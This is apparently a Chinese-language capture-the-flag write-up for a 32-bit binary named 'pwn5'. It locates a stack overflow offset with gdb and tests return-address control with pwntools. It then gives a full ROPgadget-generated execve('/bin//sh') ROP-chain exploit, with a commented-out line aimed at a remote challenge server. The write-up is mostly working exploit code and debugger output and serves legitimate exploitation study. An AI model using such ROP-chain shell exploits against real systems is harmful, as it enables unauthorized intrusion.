需要判断出在多少字节发生溢出.
python -c 'import string; print(string.ascii_uppercase)'
利用上面 A-Z 变成输入来判断大约位于多少个字符处发生溢出, 在下面我用 A 字母代替溢出发生的地址.
Please Input Your Name:
ABCDEFGHIJKLMNOPQRSTAAAAYZ
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x1b
EBX: 0x0
ECX: 0xffffcff8 ("ABCDEFGHIJKLMNOPQRSTAAAAYZ\n")
EDX: 0x400
ESI: 0x8048910 (<__libc_csu_fini>: push ebp)
EDI: 0xc2070e82
EBP: 0x54535251 ('QRST')
ESP: 0xffffd010 --> 0xa5a59 ('YZ\n')
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xffffd010 --> 0xa5a59 ('YZ\n')
0004| 0xffffd014 --> 0x80ab5c8 ("Please Input Your Name:\n")
0008| 0xffffd018 --> 0x18
0012| 0xffffd01c --> 0x0
0016| 0xffffd020 --> 0x8048910 (<__libc_csu_fini>: push ebp)
0020| 0xffffd024 --> 0xc2070e82
0024| 0xffffd028 --> 0xffffd098 --> 0x0
0028| 0xffffd02c --> 0x8048475 (<__libc_start_main+421>: mov DWORD PTR [esp],eax)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
成功验证想法.
#0 0x41414141 in ?? ()
(gdb) x/8wx $esp-24
0xffffd058: 0x44434241 0x48474645 0x4c4b4a49 0x504f4e4d
0xffffd068: 0x54535251 0x41414141 0x000a5a59 0x080ab5c8
(gdb) x/8wx $esp-4
0xffffd06c: 0x41414141 0x000a5a59 0x080ab5c8 0x00000018
0xffffd07c: 0x00000000 0x08048910 0x9d471dc0 0xffffd0f8
可以判断 read() 调用在 stack 上面的 buffer 开始地址是 0xffffd058, 且 ret 的地址是 0xxffffd06c.
如果我们把 0xffffd06c 里面值由 0x41414141 换成 main 开始的地址, 那么程序按道理说可以输出两次"Please Input Your Name:".
from pwn import *
remote = process('./pwn5')
ret=0x08048285
palyload = 'A' * 20 + p32(ret)
remote.send(palyload)
remote.interactive()
➜ Downloads python simple.py
[+] Started program './pwn5'
[*] Switching to interactive mode
Please Input Your Name:
Please Input Your Name:
成功验证想法.
(gdb) checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : disabled
发现了启用了 nx 安全机制, 那么在栈上面布局 shellcode 不现实 2.
既然 NX 启动了, 按照套路寻找 gadget, 这个体力活可以利用自动化的工具构造 rop chain3.
ROPgadget --binary pwn5 --ropchain
一条指令完成很多工作.
#!/usr/bin/env python2
# execve generated by ROPgadget
from struct import pack
import pwn
remote = pwn.process('./pwn5')
#remote = pwn.remote('124.42.117.57',8885)
#remote.recv()
# Padding goes here
p = ''
p += pack('<I', 0x08050686) # pop edx ; ret
p += pack('<I', 0x080c9080) # @ .data
p += pack('<I', 0x080a8246) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x08078ce1) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08050686) # pop edx ; ret
p += pack('<I', 0x080c9084) # @ .data + 4
p += pack('<I', 0x080a8246) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x08078ce1) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08050686) # pop edx ; ret
p += pack('<I', 0x080c9088) # @ .data + 8
p += pack('<I', 0x0809758f) # xor eax, eax ; ret
p += pack('<I', 0x08078ce1) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080506ae) # pop ebx ; ret
p += pack('<I', 0x080c9080) # @ .data
p += pack('<I', 0x08081913) # pop ecx ; ret
p += pack('<I', 0x080c9088) # @ .data + 8
p += pack('<I', 0x08050686) # pop edx ; ret
p += pack('<I', 0x080c9088) # @ .data + 8
p += pack('<I', 0x0809758f) # xor eax, eax ; ret
p += pack('<I', 0x0804ca8d) # inc eax ; ret
p += pack('<I', 0x0804ca8d) # inc eax ; ret
p += pack('<I', 0x0804ca8d) # inc eax ; ret
p += pack('<I', 0x0804ca8d) # inc eax ; ret
p += pack('<I', 0x0804ca8d) # inc eax ; ret
p += pack('<I', 0x0804ca8d) # inc eax ; ret
p += pack('<I', 0x0804ca8d) # inc eax ; ret
p += pack('<I', 0x0804ca8d) # inc eax ; ret
p += pack('<I', 0x0804ca8d) # inc eax ; ret
p += pack('<I', 0x0804ca8d) # inc eax ; ret
p += pack('<I', 0x0804ca8d) # inc eax ; ret
p += pack('<I', 0x080487ed) # int 0x80
palyload = 'A' * 20 + p
remote.send(palyload)
remote.interactive()